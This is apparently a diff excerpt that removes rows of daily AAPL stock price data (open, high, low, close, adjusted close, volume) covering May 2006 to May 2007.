-2006-05-03,10.261428833007812,10.278571128845215,10.025713920593262,10.162857055664062,8.842710494995117,171747800.0,AAPL
-2006-05-04,10.174285888671875,10.412857055664062,10.065713882446289,10.161428451538086,8.841468811035156,215105100.0,AAPL
-2006-05-05,10.265714645385742,10.321428298950195,10.164285659790039,10.270000457763672,8.935935020446777,140977900.0,AAPL
-2006-05-08,10.427143096923828,10.54285717010498,10.24571418762207,10.270000457763672,8.935935020446777,148712900.0,AAPL
-2006-05-09,10.260000228881836,10.365714073181152,10.088571548461914,10.14714241027832,8.829039573669434,132916700.0,AAPL
-2006-05-10,10.184286117553711,10.1899995803833,9.94428539276123,10.085714340209961,8.775588035583496,114972200.0,AAPL
-2006-05-11,10.1128568649292,10.119999885559082,9.649999618530273,9.735713958740234,8.471053123474121,203172200.0,AAPL
-2006-05-12,9.692856788635254,9.812856674194336,9.55142879486084,9.671428680419922,8.415120124816895,160443500.0,AAPL
-2006-05-15,9.624285697937012,9.768571853637695,9.588571548461914,9.684286117553711,8.426305770874023,132294400.0,AAPL
-2006-05-16,9.728571891784668,9.75,9.25,9.282856941223145,8.077021598815918,234185000.0,AAPL
-2006-05-17,9.244285583496094,9.385714530944824,9.152856826782227,9.322856903076172,8.111824989318848,188548500.0,AAPL
-2006-05-18,9.382857322692871,9.465714454650879,9.017143249511719,9.025713920593262,7.853279113769531,164610600.0,AAPL
-2006-05-19,9.037142753601074,9.268571853637695,8.974286079406738,9.215714454650879,8.01860237121582,246466500.0,AAPL
-2006-05-22,9.124285697937012,9.14142894744873,8.967143058776855,9.054286003112793,7.8781418800354,179743900.0,AAPL
-2006-05-23,9.265714645385742,9.312856674194336,9.0,9.021428108215332,7.849553108215332,173603500.0,AAPL
-2006-05-24,8.998571395874023,9.092857360839844,8.794285774230957,9.048571586608887,7.873172283172607,229007800.0,AAPL
-2006-05-25,9.180000305175781,9.20714282989502,9.041428565979004,9.1899995803833,7.9962263107299805,115843000.0,AAPL
-2006-05-26,9.187143325805664,9.222857475280762,9.020000457763672,9.078571319580078,7.899275302886963,108237500.0,AAPL
-2006-05-30,9.041428565979004,9.04285717010498,8.74571418762207,8.74571418762207,7.609656810760498,140850500.0,AAPL
-2006-05-31,8.822856903076172,8.827142715454102,8.384285926818848,8.53857135772705,7.429418087005615,320244400.0,AAPL
-2006-06-01,8.550000190734863,8.89714241027832,8.502857208251953,8.881428718566895,7.7277421951293945,235627000.0,AAPL
-2006-06-02,8.998571395874023,9.014286041259766,8.697142601013184,8.808571815490723,7.664346694946289,171446800.0,AAPL
-2006-06-05,8.735713958740234,8.735713958740234,8.567142486572266,8.571428298950195,7.458006381988525,151446400.0,AAPL
-2006-06-06,8.60285758972168,8.661428451538086,8.415714263916016,8.531428337097168,7.423203468322754,181509300.0,AAPL
-2006-06-07,8.585714340209961,8.628571510314941,8.335714340209961,8.365714073181152,7.279014587402344,187626600.0,AAPL
-2006-06-08,8.34857177734375,8.704285621643066,8.164285659790039,8.680000305175781,7.5524749755859375,349370700.0,AAPL
-2006-06-09,8.739999771118164,8.794285774230957,8.442856788635254,8.462857246398926,7.3635406494140625,193959500.0,AAPL
-2006-06-12,8.485713958740234,8.532856941223145,8.1371431350708,8.142857551574707,7.085110664367676,179446400.0,AAPL
-2006-06-13,8.229999542236328,8.442856788635254,8.19428539276123,8.332857131958008,7.250425815582275,270160800.0,AAPL
-2006-06-14,8.325714111328125,8.39714241027832,8.09857177734375,8.229999542236328,7.160930156707764,219534000.0,AAPL
-2006-06-15,8.185714721679688,8.534285545349121,8.107142448425293,8.482856750488281,7.380939483642578,297595900.0,AAPL
-2006-06-16,8.422857284545898,8.455714225769043,8.217143058776855,8.222857475280762,7.154715538024902,209525400.0,AAPL
-2006-06-19,8.261428833007812,8.311429023742676,8.142857551574707,8.171428680419922,7.109967231750488,176143800.0,AAPL
-2006-06-20,8.229999542236328,8.335714340209961,8.184286117553711,8.210000038146973,7.143529415130615,168243600.0,AAPL
-2006-06-21,8.248571395874023,8.3871431350708,8.185714721679688,8.265714645385742,7.1920061111450195,215824000.0,AAPL
-2006-06-22,8.314285278320312,8.535714149475098,8.295714378356934,8.511428833007812,7.405802249908447,241408300.0,AAPL
-2006-06-23,8.531428337097168,8.595714569091797,8.390000343322754,8.404285430908203,7.3125762939453125,165050900.0,AAPL
-2006-06-26,8.45285701751709,8.45714282989502,8.338571548461914,8.427143096923828,7.332464694976807,116634000.0,AAPL
-2006-06-27,8.441428184509277,8.460000038146973,8.199999809265137,8.204285621643066,7.138556957244873,137652900.0,AAPL
-2006-06-28,8.184286117553711,8.185714721679688,7.915714263916016,8.002857208251953,6.963292598724365,212676100.0,AAPL
-2006-06-29,8.10857105255127,8.441428184509277,8.05571460723877,8.424285888671875,7.329977989196777,218349600.0,AAPL
-2006-06-30,8.227143287658691,8.25,8.071428298950195,8.181428909301758,7.1186699867248535,184923900.0,AAPL
-2006-07-03,8.217143058776855,8.311429023742676,8.191428184509277,8.278571128845215,7.203192710876465,48692700.0,AAPL
-2006-07-05,8.164285659790039,8.228571891784668,8.079999923706055,8.142857551574707,7.085110664367676,129560200.0,AAPL
-2006-07-06,8.15571403503418,8.199999809265137,7.944285869598389,7.9671430587768555,6.932219505310059,158302200.0,AAPL
-2006-07-07,7.925714492797852,8.078571319580078,7.809999942779541,7.914285659790039,6.886227130889893,199840200.0,AAPL
-2006-07-10,7.9571428298950195,8.069999694824219,7.785714149475098,7.857142925262451,6.836507797241211,132336400.0,AAPL
-2006-07-11,7.872857093811035,7.998571395874023,7.789999961853027,7.949999809265137,6.917304039001465,206255700.0,AAPL
-2006-07-12,7.8814287185668945,7.891428470611572,7.559999942779541,7.565714359283447,6.582935333251953,231832300.0,AAPL
-2006-07-13,7.432857036590576,7.731428623199463,7.344285488128662,7.464285850524902,6.494680881500244,312476500.0,AAPL
-2006-07-14,7.5,7.555714130401611,7.165714263916016,7.238571643829346,6.298287391662598,248259200.0,AAPL
-2006-07-17,7.389999866485596,7.5871429443359375,7.378571510314941,7.481428623199463,6.509598731994629,256135600.0,AAPL
-2006-07-18,7.594285488128662,7.692857265472412,7.407142639160156,7.557142734527588,6.575477600097656,250112100.0,AAPL
-2006-07-19,7.565714359283447,7.8685712814331055,7.480000019073486,7.72857141494751,6.724637031555176,347685800.0,AAPL
-2006-07-20,8.708571434020996,8.798571586608887,8.531428337097168,8.642857551574707,7.520157814025879,493036600.0,AAPL
-2006-07-21,8.545714378356934,8.735713958740234,8.520000457763672,8.674285888671875,7.5475053787231445,222973100.0,AAPL
-2006-07-24,8.751428604125977,8.871428489685059,8.632857322692871,8.774285316467285,7.634514808654785,180714100.0,AAPL
-2006-07-25,8.825714111328125,8.869999885559082,8.682857513427734,8.847143173217773,7.6979079246521,147267400.0,AAPL
-2006-07-26,8.857142448425293,9.234285354614258,8.811429023742676,9.124285697937012,7.93904972076416,224606900.0,AAPL
-2006-07-27,9.214285850524902,9.28857135772705,8.979999542236328,9.057143211364746,7.880629062652588,183761200.0,AAPL
-2006-07-28,9.134285926818848,9.382857322692871,9.071428298950195,9.369999885559082,8.152843475341797,172876900.0,AAPL
-2006-07-31,9.54714298248291,9.804286003112793,9.468571662902832,9.708571434020996,8.44743824005127,223210400.0,AAPL
-2006-08-01,9.60285758972168,9.704285621643066,9.420000076293945,9.597143173217773,8.350482940673828,177941400.0,AAPL
-2006-08-02,9.664285659790039,9.811429023742676,9.644286155700684,9.737142562866211,8.472297668457031,137692100.0,AAPL
-2006-08-03,9.701428413391113,10.0,9.687143325805664,9.941428184509277,8.650046348571777,210261100.0,AAPL
-2006-08-04,9.578571319580078,9.80142879486084,9.279999732971191,9.757143020629883,8.489697456359863,463216600.0,AAPL
-2006-08-07,9.674285888671875,9.942856788635254,9.472857475280762,9.601428985595703,8.354212760925293,311378200.0,AAPL
-2006-08-08,9.584285736083984,9.587142944335938,9.215714454650879,9.25428581237793,8.052162170410156,249466000.0,AAPL
-2006-08-09,9.347143173217773,9.371428489685059,9.057143211364746,9.084285736083984,7.904245376586914,238959700.0,AAPL
-2006-08-10,9.035714149475098,9.25857162475586,8.95714282989502,9.152856826782227,7.963909149169922,174440000.0,AAPL
-2006-08-11,9.032856941223145,9.161428451538086,8.9399995803833,9.092857360839844,7.911705493927002,194382300.0,AAPL
-2006-08-14,9.149999618530273,9.317142486572266,9.085714340209961,9.134285926818848,7.947751045227051,179405100.0,AAPL
-2006-08-15,9.334285736083984,9.5,9.257143020629883,9.492856979370117,8.259744644165039,215338200.0,AAPL
-2006-08-16,9.585714340209961,9.724286079406738,9.475714683532715,9.71142864227295,8.449923515319824,195321000.0,AAPL
-2006-08-17,9.714285850524902,9.808571815490723,9.597143173217773,9.65571403503418,8.401445388793945,145287100.0,AAPL
-2006-08-18,9.672857284545898,9.771428108215332,9.60857105255127,9.701428413391113,8.441222190856934,134088500.0,AAPL
-2006-08-21,9.614285469055176,9.615714073181152,9.449999809265137,9.50857162475586,8.273416519165039,131556600.0,AAPL
-2006-08-22,9.525713920593262,9.760000228881836,9.5,9.65999984741211,8.405174255371094,144242000.0,AAPL
-2006-08-23,9.714285850524902,9.807143211364746,9.562856674194336,9.615714073181152,8.3666410446167,134064700.0,AAPL
-2006-08-24,9.69857120513916,9.74142837524414,9.467143058776855,9.687143325805664,8.428791999816895,163797900.0,AAPL
-2006-08-25,9.619999885559082,9.864285469055176,9.615714073181152,9.821428298950195,8.545633316040039,135989700.0,AAPL
-2006-08-28,9.785714149475098,9.80142879486084,9.525713920593262,9.568571090698242,8.325623512268066,184540300.0,AAPL
-2006-08-29,9.569999694824219,9.60857105255127,9.302857398986816,9.497142791748047,8.263472557067871,236833100.0,AAPL
-2006-08-30,9.619999885559082,9.688570976257324,9.525713920593262,9.565713882446289,8.323135375976562,170035600.0,AAPL
-2006-08-31,9.611428260803223,9.757143020629883,9.522856712341309,9.692856788635254,8.433762550354004,143674300.0,AAPL
-2006-09-01,9.782856941223145,9.807143211364746,9.688570976257324,9.768571853637695,8.49964427947998,102123700.0,AAPL
-2006-09-05,9.85285758972168,10.214285850524902,9.79285717010498,10.21142864227295,8.884974479675293,253114400.0,AAPL
-2006-09-06,10.154285430908203,10.24142837524414,9.95714282989502,10.00428581237793,8.70473861694336,243525800.0,AAPL
-2006-09-07,10.085714340209961,10.497142791748047,10.035714149475098,10.399999618530273,9.049050331115723,316989400.0,AAPL
-2006-09-08,10.481428146362305,10.510000228881836,10.272856712341309,10.359999656677246,9.014243125915527,223980400.0,AAPL
-2006-09-11,10.347143173217773,10.532856941223145,10.20285701751709,10.357142448425293,9.011760711669922,237281100.0,AAPL
-2006-09-12,10.40142822265625,10.492856979370117,10.20714282989502,10.375714302062988,9.02791976928711,421171800.0,AAPL
-2006-09-13,10.407142639160156,10.617142677307129,10.328571319580078,10.600000381469727,9.223069190979004,286534500.0,AAPL
-2006-09-14,10.531428337097168,10.667142868041992,10.494285583496094,10.595714569091797,9.219338417053223,200432400.0,AAPL
-2006-09-15,10.657142639160156,10.71142864227295,10.470000267028809,10.585714340209961,9.210638999938965,245463400.0,AAPL
-2006-09-18,10.54285717010498,10.69428539276123,10.471428871154785,10.55571460723877,9.184536933898926,176319500.0,AAPL
-2006-09-19,10.585714340209961,10.622857093811035,10.399999618530273,10.53857135772705,9.169622421264648,177512300.0,AAPL
-2006-09-20,10.625714302062988,10.811429023742676,10.60285758972168,10.751428604125977,9.354827880859375,205697800.0,AAPL
-2006-09-21,10.75,10.865714073181152,10.574285507202148,10.664285659790039,9.27900505065918,198531200.0,AAPL
-2006-09-22,10.614285469055176,10.619999885559082,10.368571281433105,10.428571701049805,9.0739107131958,166278000.0,AAPL
-2006-09-25,10.544285774230957,10.837142944335938,10.531428337097168,10.821428298950195,9.41573429107666,214748100.0,AAPL
-2006-09-26,10.882857322692871,11.111428260803223,10.871428489685059,11.087142944335938,9.646934509277344,275737000.0,AAPL
-2006-09-27,11.024285316467285,11.067142486572266,10.831428527832031,10.915714263916016,9.497775077819824,202593300.0,AAPL
-2006-09-28,11.002857208251953,11.068571090698242,10.850000381469727,11.001428604125977,9.57235336303711,180902400.0,AAPL
-2006-09-29,11.015714645385742,11.074285507202148,10.954285621643066,10.997142791748047,9.568624496459961,101453100.0,AAPL
-2006-10-02,10.728571891784668,10.838571548461914,10.614285469055176,10.69428539276123,9.305108070373535,178159800.0,AAPL
-2006-10-03,10.635714530944824,10.70714282989502,10.455714225769043,10.582857131958008,9.208155632019043,197677200.0,AAPL
-2006-10-04,10.585714340209961,10.779999732971191,10.451428413391113,10.768571853637695,9.369746208190918,207270700.0,AAPL
-2006-10-05,10.64714241027832,10.880000114440918,10.59000015258789,10.6899995803833,9.301377296447754,170970800.0,AAPL
-2006-10-06,10.631428718566895,10.720000267028809,10.544285774230957,10.60285758972168,9.225556373596191,116739700.0,AAPL
-2006-10-09,10.54285717010498,10.725714683532715,10.50428581237793,10.661428451538086,9.276521682739258,109555600.0,AAPL
-2006-10-10,10.648571014404297,10.654285430908203,10.4399995803833,10.544285774230957,9.174590110778809,132897100.0,AAPL
-2006-10-11,10.488571166992188,10.568571090698242,10.371428489685059,10.46142864227295,9.102497100830078,142963800.0,AAPL
-2006-10-12,10.515714645385742,10.770000457763672,10.514286041259766,10.751428604125977,9.354827880859375,148213800.0,AAPL
-2006-10-13,10.804286003112793,10.982856750488281,10.677143096923828,10.717143058776855,9.324995040893555,171049200.0,AAPL
-2006-10-16,10.74142837524414,10.84000015258789,10.684286117553711,10.771428108215332,9.372228622436523,127173200.0,AAPL
-2006-10-17,10.720000267028809,10.752857208251953,10.577142715454102,10.6128568649292,9.234257698059082,120231300.0,AAPL
-2006-10-18,10.678571701049805,10.767143249511719,10.558571815490723,10.64714241027832,9.26408863067627,283476900.0,AAPL
-2006-10-19,11.322856903076172,11.421428680419922,11.165714263916016,11.284285545349121,9.818465232849121,378244300.0,AAPL
-2006-10-20,11.281428337097168,11.427143096923828,11.238571166992188,11.421428680419922,9.937795639038086,159853400.0,AAPL
-2006-10-23,11.427143096923828,11.699999809265137,11.392857551574707,11.6371431350708,10.125490188598633,208126800.0,AAPL
-2006-10-24,11.601428985595703,11.668571472167969,11.45714282989502,11.578571319580078,10.074525833129883,115803100.0,AAPL
-2006-10-25,11.621428489685059,11.714285850524902,11.572856903076172,11.668571472167969,10.15283489227295,121303700.0,AAPL
-2006-10-26,11.699999809265137,11.800000190734863,11.59000015258789,11.74142837524414,10.216227531433105,108189200.0,AAPL
-2006-10-27,11.678571701049805,11.778571128845215,11.430000305175781,11.487142562866211,9.994976043701172,148741600.0,AAPL
-2006-10-30,11.427143096923828,11.557143211364746,11.357142448425293,11.488571166992188,9.996214866638184,124979400.0,AAPL
-2006-10-31,11.635714530944824,11.668571472167969,11.46142864227295,11.582857131958008,10.078253746032715,125368600.0,AAPL
-2006-11-01,11.585714340209961,11.625714302062988,11.19428539276123,11.308571815490723,9.839599609375,152798100.0,AAPL
-2006-11-02,11.274285316467285,11.331428527832031,11.214285850524902,11.282856941223145,9.81722354888916,116370800.0,AAPL
-2006-11-03,11.337142944335938,11.361428260803223,11.1128568649292,11.184286117553711,9.731456756591797,107972200.0,AAPL
-2006-11-06,11.278571128845215,11.437143325805664,11.204285621643066,11.3871431350708,9.907963752746582,108644200.0,AAPL
-2006-11-07,11.492856979370117,11.571428298950195,11.447142601013184,11.501428604125977,10.007404327392578,131483100.0,AAPL
-2006-11-08,11.431428909301758,11.812856674194336,11.412857055664062,11.778571128845215,10.248546600341797,172729200.0,AAPL
-2006-11-09,11.842857360839844,12.09857177734375,11.731428146362305,11.90571403503418,10.359174728393555,230763400.0,AAPL
-2006-11-10,11.935714721679688,11.942856788635254,11.785714149475098,11.874285697937012,10.331827163696289,93466100.0,AAPL
-2006-11-13,11.888571739196777,12.064285278320312,11.80571460723877,12.050000190734863,10.48471736907959,112668500.0,AAPL
-2006-11-14,12.114285469055176,12.142857551574707,11.985713958740234,12.142857551574707,10.565511703491211,147238700.0,AAPL
-2006-11-15,12.149999618530273,12.271428108215332,12.0,12.007143020629883,10.447425842285156,163830800.0,AAPL
-2006-11-16,12.124285697937012,12.328571319580078,12.088571548461914,12.229999542236328,10.641334533691406,173485200.0,AAPL
-2006-11-17,12.162857055664062,12.277142524719238,12.142857551574707,12.264286041259766,10.671167373657227,116606000.0,AAPL
-2006-11-20,12.199999809265137,12.428571701049805,12.171428680419922,12.35285758972168,10.748231887817383,142698500.0,AAPL
-2006-11-21,12.488571166992188,12.657142639160156,12.44428539276123,12.657142639160156,11.012992858886719,155666700.0,AAPL
-2006-11-22,12.712857246398926,12.964285850524902,12.550000190734863,12.90142822265625,11.225547790527344,167985300.0,AAPL
-2006-11-24,12.789999961853027,13.29714298248291,12.785714149475098,13.09000015258789,11.38962173461914,129669400.0,AAPL
-2006-11-27,13.215714454650879,13.308571815490723,12.785714149475098,12.791428565979004,11.129834175109863,268709000.0,AAPL
-2006-11-28,12.908571243286133,13.138571739196777,12.84428596496582,13.115714073181152,11.411994934082031,259043400.0,AAPL
-2006-11-29,13.285714149475098,13.307143211364746,12.892857551574707,13.114285469055176,11.410751342773438,289270800.0,AAPL
-2006-11-30,13.172857284545898,13.239999771118164,13.00857162475586,13.09428596496582,11.393350601196289,217621600.0,AAPL
-2006-12-01,13.114285469055176,13.1899995803833,12.871428489685059,13.045714378356934,11.351089477539062,198769900.0,AAPL
-2006-12-04,13.125714302062988,13.149999618530273,12.928571701049805,13.017143249511719,11.326227188110352,177384200.0,AAPL
-2006-12-05,13.092857360839844,13.1899995803833,12.981428146362305,13.03857135772705,11.344874382019043,165709600.0,AAPL
-2006-12-06,12.94857120513916,13.05571460723877,12.8100004196167,12.832857131958008,11.16588020324707,159546100.0,AAPL
-2006-12-07,12.861428260803223,12.928571701049805,12.414285659790039,12.434286117553711,10.819084167480469,251206900.0,AAPL
-2006-12-08,12.46142864227295,12.770000457763672,12.428571701049805,12.60857105255127,10.970728874206543,196069300.0,AAPL
-2006-12-11,12.699999809265137,12.757143020629883,12.578571319580078,12.678571701049805,11.031635284423828,124945100.0,AAPL
-2006-12-12,12.658571243286133,12.691428184509277,12.218571662902832,12.30571460723877,10.707216262817383,256655000.0,AAPL
-2006-12-13,12.564285278320312,12.724286079406738,12.449999809265137,12.721428871154785,11.068926811218262,214263000.0,AAPL
-2006-12-14,12.721428871154785,12.857142448425293,12.60857105255127,12.649999618530273,11.006776809692383,208082700.0,AAPL
-2006-12-15,12.717143058776855,12.74571418762207,12.475714683532715,12.531428337097168,10.903606414794922,184984800.0,AAPL
-2006-12-18,12.518571853637695,12.571428298950195,12.084285736083984,12.210000038146973,10.623934745788574,180394200.0,AAPL
-2006-12-19,12.10428524017334,12.382857322692871,11.945713996887207,12.329999923706055,10.728341102600098,227851400.0,AAPL
-2006-12-20,12.35285758972168,12.381428718566895,12.105713844299316,12.10857105255127,10.53568172454834,141922900.0,AAPL
-2006-12-21,12.100000381469727,12.21142864227295,11.742856979370117,11.842857360839844,10.304483413696289,225899800.0,AAPL
-2006-12-22,11.922857284545898,12.005714416503906,11.657142639160156,11.742856979370117,10.217473983764648,153325900.0,AAPL
-2006-12-26,11.735713958740234,11.795714378356934,11.55571460723877,11.644286155700684,10.131704330444336,122672200.0,AAPL
-2006-12-27,11.164285659790039,11.714285850524902,10.967143058776855,11.64571475982666,10.13294792175293,483938700.0,AAPL
-2006-12-28,11.460000038146973,11.607142448425293,11.378571510314941,11.552857398986816,10.052152633666992,279969200.0,AAPL
-2006-12-29,11.992856979370117,12.199999809265137,11.908571243286133,12.119999885559082,10.545624732971191,269107300.0,AAPL
-2007-01-03,12.327142715454102,12.368571281433105,11.699999809265137,11.971428871154785,10.416352272033691,309579900.0,AAPL
-2007-01-04,12.007143020629883,12.278571128845215,11.974286079406738,12.237142562866211,10.647547721862793,211815100.0,AAPL
-2007-01-05,12.252857208251953,12.314285278320312,12.057143211364746,12.149999618530273,10.571725845336914,208685400.0,AAPL
-2007-01-08,12.279999732971191,12.361428260803223,12.182857513427734,12.210000038146973,10.623934745788574,199276700.0,AAPL
-2007-01-09,12.350000381469727,13.282856941223145,12.164285659790039,13.224286079406738,11.506465911865234,837324600.0,AAPL
-2007-01-10,13.535714149475098,13.971428871154785,13.350000381469727,13.857142448425293,12.057113647460938,738220000.0,AAPL
-2007-01-11,13.705714225769043,13.825714111328125,13.585714340209961,13.685714721679688,11.907951354980469,360063200.0,AAPL
-2007-01-12,13.512857437133789,13.579999923706055,13.318571090698242,13.517143249511719,11.761279106140137,328172600.0,AAPL
-2007-01-16,13.668571472167969,13.892857551574707,13.635714530944824,13.871428489685059,12.069543838500977,311019100.0,AAPL
-2007-01-17,13.937143325805664,13.942856788635254,13.545714378356934,13.564285278320312,11.802298545837402,411565000.0,AAPL
-2007-01-18,13.157142639160156,13.158571243286133,12.721428871154785,12.724286079406738,11.071414947509766,591151400.0,AAPL
-2007-01-19,12.661428451538086,12.807143211364746,12.588571548461914,12.642857551574707,11.000563621520996,341118400.0,AAPL
-2007-01-22,12.734285354614258,12.737142562866211,12.235713958740234,12.398571014404297,10.788008689880371,363506500.0,AAPL
-2007-01-23,12.247142791748047,12.501428604125977,12.215714454650879,12.242856979370117,10.6525239944458,301856100.0,AAPL
-2007-01-24,12.382857322692871,12.449999809265137,12.29714298248291,12.385714530944824,10.776822090148926,231953400.0,AAPL
-2007-01-25,12.44428539276123,12.642857551574707,12.289999961853027,12.321428298950195,10.72088623046875,226493400.0,AAPL
-2007-01-26,12.44428539276123,12.481428146362305,12.14142894744873,12.197142601013184,10.612743377685547,246718500.0,AAPL
-2007-01-29,12.328571319580078,12.378571510314941,12.218571662902832,12.277142524719238,10.682353019714355,225416100.0,AAPL
-2007-01-30,12.347143173217773,12.355713844299316,12.178571701049805,12.221428871154785,10.633875846862793,144492600.0,AAPL
-2007-01-31,12.122857093811035,12.285714149475098,12.050000190734863,12.247142791748047,10.656250953674316,214017300.0,AAPL
-2007-02-01,12.318571090698242,12.324285507202148,12.105713844299316,12.105713844299316,10.533191680908203,166085500.0,AAPL
-2007-02-02,12.017143249511719,12.178571701049805,11.95714282989502,12.107142448425293,10.53443717956543,155382500.0,AAPL
-2007-02-05,12.04285717010498,12.175714492797852,11.99142837524414,11.99142837524414,10.433752059936523,144713100.0,AAPL
-2007-02-06,12.064285278320312,12.067142486572266,11.837142944335938,12.021428108215332,10.459856033325195,216098400.0,AAPL
-2007-02-07,12.068571090698242,12.34000015258789,11.935714721679688,12.307143211364746,10.708456993103027,266706300.0,AAPL
-2007-02-08,12.204285621643066,12.35857105255127,12.201428413391113,12.311429023742676,10.712185859680176,169757700.0,AAPL
-2007-02-09,12.268571853637695,12.314285278320312,11.8871431350708,11.89571475982666,10.350472450256348,215135200.0,AAPL
-2007-02-12,12.061429023742676,12.168571472167969,11.947142601013184,12.125714302062988,10.550594329833984,181017900.0,AAPL
-2007-02-13,12.165714263916016,12.184286117553711,12.04285717010498,12.100000381469727,10.528221130371094,145246500.0,AAPL
-2007-02-14,12.09000015258789,12.234285354614258,12.081428527832031,12.185714721679688,10.602801322937012,126995400.0,AAPL
-2007-02-15,12.205714225769043,12.231428146362305,12.111428260803223,12.172857284545898,10.591614723205566,90915300.0,AAPL
-2007-02-16,12.178571701049805,12.201428413391113,12.09428596496582,12.118571281433105,10.544380187988281,99967000.0,AAPL
-2007-02-20,12.092857360839844,12.308571815490723,12.022856712341309,12.271428108215332,10.67738151550293,154425600.0,AAPL
-2007-02-21,12.282856941223145,12.784285545349121,12.279999732971191,12.742856979370117,11.087570190429688,288828400.0,AAPL
-2007-02-22,12.971428871154785,12.972857475280762,12.64714241027832,12.787142753601074,11.126102447509766,209556200.0,AAPL
-2007-02-23,12.737142562866211,12.90571403503418,12.692856788635254,12.724286079406738,11.071414947509766,129473400.0,AAPL
-2007-02-26,12.834285736083984,12.857142448425293,12.515714645385742,12.644286155700684,11.001805305480957,153962200.0,AAPL
-2007-02-27,12.328571319580078,12.4399995803833,11.915714263916016,11.989999771118164,10.432510375976562,286453300.0,AAPL
-2007-02-28,11.857142448425293,12.228571891784668,11.857142448425293,12.087142944335938,10.517033576965332,229868800.0,AAPL
-2007-03-01,12.00428581237793,12.615714073181152,11.964285850524902,12.437143325805664,10.82157039642334,353882200.0,AAPL
-2007-03-02,12.39571475982666,12.505714416503906,12.172857284545898,12.201428413391113,10.616474151611328,215000100.0,AAPL
-2007-03-05,12.270000457763672,12.664285659790039,12.251428604125977,12.331428527832031,10.729585647583008,209724900.0,AAPL
-2007-03-06,12.54285717010498,12.615714073181152,12.485713958740234,12.59857177734375,10.962030410766602,180796700.0,AAPL
-2007-03-07,12.578571319580078,12.710000038146973,12.492856979370117,12.531428337097168,10.903606414794922,156571100.0,AAPL
-2007-03-08,12.65571403503418,12.674285888671875,12.494285583496094,12.571428298950195,10.938411712646484,127752800.0,AAPL
-2007-03-09,12.685714721679688,12.692856788635254,12.485713958740234,12.567142486572266,10.934679985046387,112959000.0,AAPL
-2007-03-12,12.581428527832031,12.855713844299316,12.569999694824219,12.838571548461914,11.170853614807129,182352100.0,AAPL
-2007-03-13,12.772856712341309,12.942856788635254,12.628571510314941,12.628571510314941,10.988130569458008,216972700.0,AAPL
-2007-03-14,12.657142639160156,12.857142448425293,12.5600004196167,12.857142448425293,11.18701457977295,199146500.0,AAPL
-2007-03-15,12.851428985595703,12.908571243286133,12.75857162475586,12.795714378356934,11.133562088012695,139874700.0,AAPL
-2007-03-16,12.791428565979004,12.855713844299316,12.760000228881836,12.798571586608887,11.1360502243042,142926000.0,AAPL
-2007-03-19,12.89142894744873,13.078571319580078,12.798571586608887,13.018571853637695,11.327472686767578,178240300.0,AAPL
-2007-03-20,13.050000190734863,13.119999885559082,13.00857162475586,13.068571090698242,11.370973587036133,122229100.0,AAPL
-2007-03-21,13.14142894744873,13.428571701049805,13.092857360839844,13.40999984741211,11.668054580688477,171724000.0,AAPL
-2007-03-22,13.390000343322754,13.479999542236328,13.285714149475098,13.422857284545898,11.679242134094238,140373100.0,AAPL
-2007-03-23,13.335714340209961,13.438570976257324,13.328571319580078,13.359999656677246,11.624547958374023,112721000.0,AAPL
-2007-03-26,13.427143096923828,13.699999809265137,13.328571319580078,13.692856788635254,11.914167404174805,216246800.0,AAPL
-2007-03-27,13.672857284545898,13.832857131958008,13.571428298950195,13.6371431350708,11.865690231323242,233013200.0,AAPL
-2007-03-28,13.554286003112793,13.628571510314941,13.307143211364746,13.319999694824219,11.589742660522461,235584300.0,AAPL
-2007-03-29,13.455714225769043,13.455714225769043,13.175714492797852,13.392857551574707,11.65313720703125,181430900.0,AAPL
-2007-03-30,13.468571662902832,13.525713920593262,13.25,13.272856712341309,11.548724174499512,150139500.0,AAPL
-2007-04-02,13.44857120513916,13.464285850524902,13.28857135772705,13.378571510314941,11.640707969665527,125498100.0,AAPL
-2007-04-03,13.44857120513916,13.60428524017334,13.394286155700684,13.5,11.746362686157227,145983600.0,AAPL
-2007-04-04,13.562856674194336,13.591428756713867,13.447142601013184,13.467143058776855,11.717775344848633,119196000.0,AAPL
-2007-04-05,13.445713996887207,13.525713920593262,13.359999656677246,13.525713920593262,11.768735885620117,88879000.0,AAPL
-2007-04-09,13.601428985595703,13.614285469055176,13.291428565979004,13.378571510314941,11.640707969665527,103335400.0,AAPL
-2007-04-10,13.381428718566895,13.465714454650879,13.34428596496582,13.464285850524902,11.715289115905762,88116700.0,AAPL
-2007-04-11,13.414285659790039,13.421428680419922,13.1899995803833,13.227143287658691,11.508949279785156,137254600.0,AAPL
-2007-04-12,13.148571014404297,13.187143325805664,12.960000038146973,13.170000076293945,11.459229469299316,164168900.0,AAPL
-2007-04-13,12.985713958740234,13.057143211364746,12.865714073181152,12.89142894744873,11.21684455871582,179985400.0,AAPL
-2007-04-16,12.938570976257324,13.071428298950195,12.892857551574707,13.061429023742676,11.364762306213379,152258400.0,AAPL
-2007-04-17,13.142857551574707,13.185714721679688,12.814285278320312,12.907142639160156,11.23051643371582,187980100.0,AAPL
-2007-04-18,12.880000114440918,12.978571891784668,12.800000190734863,12.914285659790039,11.236732482910156,116011000.0,AAPL
-2007-04-19,12.884285926818848,13.035714149475098,12.832857131958008,12.89571475982666,11.220572471618652,106478400.0,AAPL
-2007-04-20,12.984285354614258,13.025713920593262,12.935714721679688,12.99571418762207,11.307584762573242,130694900.0,AAPL
-2007-04-23,13.084285736083984,13.399999618530273,13.0600004196167,13.35857105255127,11.62330436706543,195072500.0,AAPL
-2007-04-24,13.422857284545898,13.770000457763672,13.04285717010498,13.319999694824219,11.589742660522461,263813200.0,AAPL
-2007-04-25,13.46142864227295,13.628571510314941,13.399999618530273,13.621428489685059,11.852020263671875,296786000.0,AAPL
-2007-04-26,14.511428833007812,14.642857551574707,14.04285717010498,14.119999885559082,12.285825729370117,434444500.0,AAPL
-2007-04-27,14.025713920593262,14.278571128845215,13.955714225769043,14.274285316467285,12.420068740844727,174850900.0,AAPL
-2007-04-30,14.298571586608887,14.428571701049805,14.238571166992188,14.257143020629883,12.405153274536133,154127400.0,AAPL
-2007-05-01,14.227143287658691,14.335714340209961,14.078571319580078,14.210000038146973,12.364134788513184,133130900.0,AAPL
-2007-05-02,14.235713958740234,14.3628568649292,14.210000038146973,14.341428756713867,12.478492736816406,126286300.0,AAPL
-2007-05-03,14.390000343322754,14.492856979370117,14.287142753601074,14.342857360839844,12.479731559753418,144019400.0,AAPL
-2007-05-04,14.399999618530273,14.514286041259766,14.357142448425293,14.40142822265625,12.530696868896484,95496800.0,AAPL
-2007-05-07,14.4399995803833,14.907142639160156,14.430000305175781,14.845714569091797,12.917269706726074,215389300.0,AAPL
